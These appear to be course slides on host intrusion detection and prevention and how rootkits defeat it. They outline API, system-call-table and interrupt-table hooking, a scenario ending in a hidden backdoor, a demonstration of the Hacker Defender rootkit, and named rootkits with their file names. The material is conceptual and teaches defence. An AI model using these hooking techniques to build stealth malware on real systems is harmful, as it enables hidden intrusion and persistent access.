If the underlying operating system is compromised, the HIDS/HIPS fails.

What Makes HIDS/HIPS Possible?
Querying kernel reporting functions

Hooking user land API functions

· Kernel32.dll

· Ntdll.dll

Hooking the System Call Table

Registering OS provided call-back functions

Attack Scenario

Attacker gains elevated access to computer system

Attacker installs a Rootkit

Rootkit’s functions

· Hide processes
· Hide files
· Hide network connections
· Install a backdoor for future access to the system
Rootkits act as a part of the operating system so they have access to kernel memory.

State of Current Rootkits
Until recently, rootkits were nothing more than Trojan programs such as ps, ls, top, du, and netstat

Advanced rootkits filter data

· Hook the System Call Table of the operating system (the functions exported by the kernel)
· Hook the Interrupt Descriptor Table (IDT) 

Interrupts are used to signal to the kernel that it has work to perform.

By hooking one interrupt, a clever rootkit can filter all exported kernel functions.
Demonstration: Hacker Defender Rootkit
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Hides files, processes, network connections, and more

Works on Win XP SP2

Damages the OS – Use a VM and discard it when done!

Other Common Rootkits
FU - consists of two components: a user-mode dropper (fu.exe) and a kernel-mode driver (msdirectx.sys)

Vanquish - a DLL injection-based Romanian rootkit

AFX Rootkit by Aphex is composed of two files, iexplore.dll and explorer.dll, which it names "iexplore.exe" and "explorer.exe" and copies to the system folder 
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